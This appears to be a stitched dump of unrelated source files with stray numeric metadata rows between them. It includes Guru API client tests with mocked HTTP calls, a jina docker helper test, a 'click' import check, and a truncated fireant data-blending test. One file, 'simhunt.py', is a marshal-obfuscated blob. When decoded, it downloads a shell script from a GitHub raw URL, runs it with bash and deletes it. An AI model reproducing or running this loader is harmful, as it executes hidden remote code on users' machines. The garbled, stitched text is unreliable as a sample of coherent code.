"my board group", "desc...") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", "body": { "actionType": "add", "boardEntries": [{ "description": "desc...", "entryType": "section", "title": "my board group" }] } }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }]) @use_guru() @responses.activate def test_add_card_to_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "items": [] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={}) g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", "body": { "id": "22222222-2222-2222-2222-222222222222", "items": [{ "id": "1111", "itemId": None, "type": "fact" }], "title": "my board", "type": "board" } }]) @use_guru() @responses.activate def test_add_card_to_board_by_board_name(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "2222", "title": "my board" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/2222", json={ "id": "2222", "title": "my board", "items": [] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={}) g.add_card_to_board("1111", "my board") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/2222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/2222", "body": { "id": "2222", "items": [{ "id": "1111", "itemId": None, "type": "fact" }], "title": "my board", "type": "board" } }]) @use_guru() @responses.activate def test_add_card_to_board_by_board_slug(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/abcde123", json={ "id": "2222", "slug": "abcde123/my-board", "title": "my board" }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={}) g.add_card_to_board("1111", "abcde123") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/abcde123" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/2222", "body": { "id": "2222", "items": [{ "id": "1111", "itemId": None, "type": "fact" }], "title": "my board", "type": "board" } }]) @use_guru() @responses.activate def test_add_card_to_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "2222", "title": "my board" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/2222", json={ "id": "2222", "title": "my board", "items": [] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={}) g.add_card_to_board("1111", "no match") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_add_invalid_card_to_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", status=404) g.add_card_to_board("1111", "2222") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }]) @use_guru() @responses.activate def test_add_card_to_board_and_existing_section(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "items": [{ "type": "section", "title": "section 8", "id": "3333" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={}) g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", "body": { "id": "22222222-2222-2222-2222-222222222222", "type": "board", "title": "my board", "items": [{ "type": "section", "id": "3333", "itemId": None, "items": [{ "type": "fact", "id": "1111", "itemId": None }] }] } }]) @use_guru() @responses.activate def test_add_card_to_board_and_invalid_section(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "items": [] }) # responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={}) g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }]) @use_guru() @responses.activate def test_add_card_to_board_and_new_section(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={ "id": "1111" }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "items": [] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", status=204) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "items": [{ "type": "section", "title": "section 8", "id": "3333" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={}) g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8", create_section_if_needed=True) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/cards/1111/extended" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", "body": { "actionType": "add", "boardEntries": [{ "entryType": "section", "title": "section 8" }] } }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", "body": { "id": "22222222-2222-2222-2222-222222222222", "type": "board", "title": "my board", "items": [{ "type": "section", "id": "3333", "itemId": None, "items": [{ "type": "fact", "id": "1111", "itemId": None }] }] } }]) @use_guru() @responses.activate def test_remove_card_from_board_by_card_id(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "collection": { "id": "3333" }, "items": [{ "type": "fact", "id": "1111", "preferredPhrase": "my card" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", json={}) g.remove_card_from_board("1111", "22222222-2222-2222-2222-222222222222") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", "body": { "actionType": "remove", "collectionId": "3333", "id": "22222222-2222-2222-2222-222222222222", "boardEntries": [{ "entryType": "card", "id": None }] } }]) @use_guru() @responses.activate def test_remove_card_from_board_with_invalid_card(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={ "id": "22222222-2222-2222-2222-222222222222", "title": "my board", "collection": { "id": "3333" }, "items": [{ "type": "fact", "id": "1111", "preferredPhrase": "my card" }] }) g.remove_card_from_board("invalid", "22222222-2222-2222-2222-222222222222") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }]) @use_guru() @responses.activate def test_remove_card_from_board_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", status=404) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[]) g.remove_card_from_board("1111", "22222222-2222-2222-2222-222222222222") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_get_board_permissions(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{ "id": "1234", "group": { "id": "1111", "name": "Experts" } }]) board = g.get_board("11111111-1111-1111-1111-111111111111") groups = board.get_groups() self.assertEqual(groups[0].id, "1234") self.assertEqual(groups[0].group.id, "1111") self.assertEqual(groups[0].group.name, "Experts") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions" }]) @use_guru() @responses.activate def test_add_board_permission(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "1111", "name": "Experts" }]) responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions") board = g.get_board("11111111-1111-1111-1111-111111111111") board.add_group("Experts") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }, { "method": "POST", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", "body": [{ "type": "group", "role": "MEMBER", "group": { "id": "1111" } }] }]) @use_guru() @responses.activate def test_remove_board_permission(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{ "id": "1234", "group": { "id": "1111", "name": "Experts" } }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "1111", "name": "Experts" }]) responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions/1234", status=204) board = g.get_board("11111111-1111-1111-1111-111111111111") result = board.remove_group("Experts") self.assertEqual(result, True) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions" }, { "method": "DELETE", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions/1234" }]) @use_guru() @responses.activate def test_get_board_permissions_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "1234", "title": "test" }]) result = g.get_shared_groups("my board") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_add_board_permission_with_invalid_group(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[]) board = g.get_board("11111111-1111-1111-1111-111111111111") board.add_group("Experts") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }]) @use_guru() @responses.activate def test_add_board_permission_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[]) responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "1111", "name": "Experts" }]) result = g.add_shared_group("my board", "Experts") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_remove_board_permission_with_invalid_group(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "1111", "name": "other group" }]) result = g.remove_shared_group("my board", "Experts") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }]) @use_guru() @responses.activate def test_remove_board_permission_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "1111", "name": "Experts" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[]) result = g.remove_shared_group("my board", "Experts") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_remove_board_permission_with_unshared_group(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{ "id": "1234", "group": { "id": "1111", "name": "Experts" } }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{ "id": "2222", "name": "other group" }]) board = g.get_board("11111111-1111-1111-1111-111111111111") result = board.remove_group("other group") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/groups" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions" }]) @use_guru() @responses.activate def test_add_board_to_board_group_by_uuid(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "collection": { "id": "1234" }, "items": [{ "type": "section", "title": "Test", "itemId": "bg1", "items": [{ "type": "board", "id": "22222222-2222-2222-2222-222222222222", "itemId": "i2", "title": "board 2" }], }, { "type": "board", "id": "11111111-1111-1111-1111-111111111111", "itemId": "i1", "title": "board 1" }] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "title": "board 2", "collection": { "id": "1234" } }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json={}) board_group = g.get_board_group("Test", collection="General") board_group.add_board("11111111-1111-1111-1111-111111111111") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", "body": { "sectionId": "bg1", "actionType": "move", "boardEntries": [ { "id": "i1", "entryType": "board" } ], "prevSiblingItem": "i2" } } ]) @use_guru() @responses.activate def test_move_board_to_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={ "id": "2222" }) board = g.get_board("11111111-1111-1111-1111-111111111111") board.move_to_collection("General") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "POST", "url": "https://api.getguru.com/api/v1/boards/bulkop", "body": { "action": { "collectionId": "1234", "type": "move-board" }, "items": { "itemIds": ["11111111-1111-1111-1111-111111111111"], "type": "id" } } }]) @use_guru() @responses.activate def test_move_board_to_collection_and_wait(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={ "id": "2222" }, status=202) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/bulkop/2222", json={}) with patch("time.sleep", Mock(return_value=None)): board = g.get_board("11111111-1111-1111-1111-111111111111") board.move_to_collection("General", timeout=1) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "POST", "url": "https://api.getguru.com/api/v1/boards/bulkop", "body": { "action": { "collectionId": "1234", "type": "move-board" }, "items": { "itemIds": ["11111111-1111-1111-1111-111111111111"], "type": "id" } } }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/bulkop/2222" }]) @use_guru() @responses.activate def test_move_board_to_invalid_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[]) board = g.get_board("11111111-1111-1111-1111-111111111111") result = board.move_to_collection("General") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }]) @use_guru() @responses.activate def test_move_invalid_board_to_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111", status=404) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards?collection=1234", json=[]) result = g.move_board_to_collection("11111111", "General") self.assertEqual(result, None) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards?collection=1234" }]) @use_guru() @responses.activate def test_move_board_to_its_current_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "collection": { "id": "1234" }, "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) board = g.get_board("11111111-1111-1111-1111-111111111111") board.move_to_collection("General") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }]) @use_guru() @responses.activate def test_move_board_to_collection_and_it_times_out(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={ "id": "11111111-1111-1111-1111-111111111111", "items": [] }) responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/bulkop", json={ "id": "2222" }, status=202) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/bulkop/2222", status=204) with patch("time.sleep", Mock(return_value=None)): board = g.get_board("11111111-1111-1111-1111-111111111111") board.move_to_collection("General", timeout=3) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "POST", "url": "https://api.getguru.com/api/v1/boards/bulkop", "body": { "action": { "collectionId": "1234", "type": "move-board" }, "items": { "itemIds": ["11111111-1111-1111-1111-111111111111"], "type": "id" } } }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/bulkop/2222" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/bulkop/2222" }])
31.433076
142
0.567139
5,260
44,855
4.756654
0.035171
0.068425
0.128297
0.153957
0.916427
0.894444
0.877138
0.867466
0.851279
0.840887
0
0.125426
0.228759
44,855
1,427
143
31.433076
0.59782
0.011548
0
0.812888
0
0.049689
0.417169
0.036548
0
0
0
0
0.046584
1
0.031832
false
0
0.006211
0
0.03882
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d3539b069277c89b63b61fda3fe8119ecc7453a7
39
py
Python
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
kvedurmu/paketo-samples
525b49f14883a6aa54959de3232430f0fdc1e66e
[ "Apache-2.0" ]
1
2021-11-08T01:25:40.000Z
2021-11-08T01:25:40.000Z
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
kvedurmu/paketo-samples
525b49f14883a6aa54959de3232430f0fdc1e66e
[ "Apache-2.0" ]
19
2021-03-10T21:30:56.000Z
2022-02-27T06:45:03.000Z
python/miniconda/vendored/vendor/noarch/click-8.0.1-pyhd3eb1b0_0/info/test/run_test.py
kvedurmu/paketo-samples
525b49f14883a6aa54959de3232430f0fdc1e66e
[ "Apache-2.0" ]
2
2021-11-08T01:25:30.000Z
2022-01-13T07:53:38.000Z
print("import: 'click'") import click
9.75
24
0.692308
5
39
5.4
0.6
0.814815
0
0
0
0
0
0
0
0
0
0
0.128205
39
3
25
13
0.794118
0
0
0
0
0
0.394737
0
0
0
0
0
0
1
0
true
0
1
0
1
0.5
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
7
d3afc759a7d07c8d7dd5b6e507d468fa6b33ed5f
734
py
Python
simhunt.py
Bhai4You/SimHunt
42d0955de0273b3db615f368e611327354e08cb7
[ "Apache-2.0" ]
3
2022-03-31T12:30:56.000Z
2022-03-31T12:31:03.000Z
simhunt.py
Bhai4You/SimHunt
42d0955de0273b3db615f368e611327354e08cb7
[ "Apache-2.0" ]
null
null
null
simhunt.py
Bhai4You/SimHunt
42d0955de0273b3db615f368e611327354e08cb7
[ "Apache-2.0" ]
null
null
null
import marshal exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00s7\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00e\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01e\x00\x00j\x01\x00d\x03\x00\x83\x01\x00\x01e\x00\x00j\x01\x00d\x04\x00\x83\x01\x00\x01d\x01\x00S(\x05\x00\x00\x00i\xff\xff\xff\xffNsv\x00\x00\x00curl https://raw.githubusercontent.com/Bhai4You/bhai4you/master/dists/Metasploit/extras/binary-all/env.sh > simhunt.shs\x0f\x00\x00\x00bash simhunt.shs\x10\x00\x00\x00rm -f simhunt.sh(\x02\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00system(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x06\x00\x00\x00\x0c\x01\r\x01\r\x01'))
244.666667
718
0.769755
153
734
3.69281
0.366013
0.382301
0.334513
0.318584
0.233628
0.20708
0.20708
0.20708
0.164602
0.058407
0
0.324138
0.012262
734
2
719
367
0.455172
0
0
0
0
0.5
0.946866
0.798365
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
1
0
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
1
0
0
0
0
12
6caaa6f84344e211b747a7824cb606b22c7ed992
163
py
Python
tests/unit/docker/test_helper.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
null
null
null
tests/unit/docker/test_helper.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
2
2021-02-15T01:40:38.000Z
2021-02-15T02:00:21.000Z
tests/unit/docker/test_helper.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
null
null
null
from pathlib import PosixPath from jina.docker.helper import credentials_file def test_credentials_file(): assert isinstance(credentials_file(), PosixPath)
20.375
52
0.815951
20
163
6.45
0.65
0.348837
0
0
0
0
0
0
0
0
0
0
0.122699
163
7
53
23.285714
0.902098
0
0
0
0
0
0
0
0
0
0
0
0.25
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
9f5b1839892b8641e5d1acb9f0a21e640521ed33
41,164
py
Python
fireant/tests/queries/test_data_blending_integration.py
RobinPapke/fireant
822a5306b981549cb21a508a9b35729ecb8af6ec
[ "Apache-2.0" ]
2
2019-05-12T15:14:52.000Z
2020-05-28T07:13:34.000Z
fireant/tests/queries/test_data_blending_integration.py
RobinPapke/fireant
822a5306b981549cb21a508a9b35729ecb8af6ec
[ "Apache-2.0" ]
null
null
null
fireant/tests/queries/test_data_blending_integration.py
RobinPapke/fireant
822a5306b981549cb21a508a9b35729ecb8af6ec
[ "Apache-2.0" ]
null
null
null
from unittest import TestCase import fireant as f from fireant import DataSet, DataType, Database, Field, ReactTable from pypika import Tables from fireant.tests.database.mock_database import TestDatabase class DataSetBlenderIntegrationTests(TestCase): maxDiff = None def test_use_metric_from_primary_dataset_when_alias_conflicts_with_metric_from_secondary( self, ): db = Database() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "metric", label="Metric", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "metric", label="Metric", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = ( primary_ds.blend(secondary_ds) .on_dimensions() .extra_fields( Field( "metric_share", label="Metric Share", definition=primary_ds.fields.metric / secondary_ds.fields.metric, data_type=DataType.number, ) ) ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget(ReactTable(blend_ds.fields.metric_share)) ).sql (query,) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric"/"sq1"."$metric" "$metric_share" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query), ) def test_produce_a_sql_with_multiple_subqueries_in_from_clause_when_blender_not_mapped_on_any_fields( self, ): db = Database() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "metric1", label="Metric1", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "metric2", label="Metric2", definition=t1.metric, data_type=DataType.number, ) ], ) blend_ds = primary_ds.blend(secondary_ds).on({}) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget(ReactTable(blend_ds.fields.metric1, blend_ds.fields.metric2)) ).sql (query,) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric1" "$metric1",' '"sq1"."$metric2" "$metric2" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM 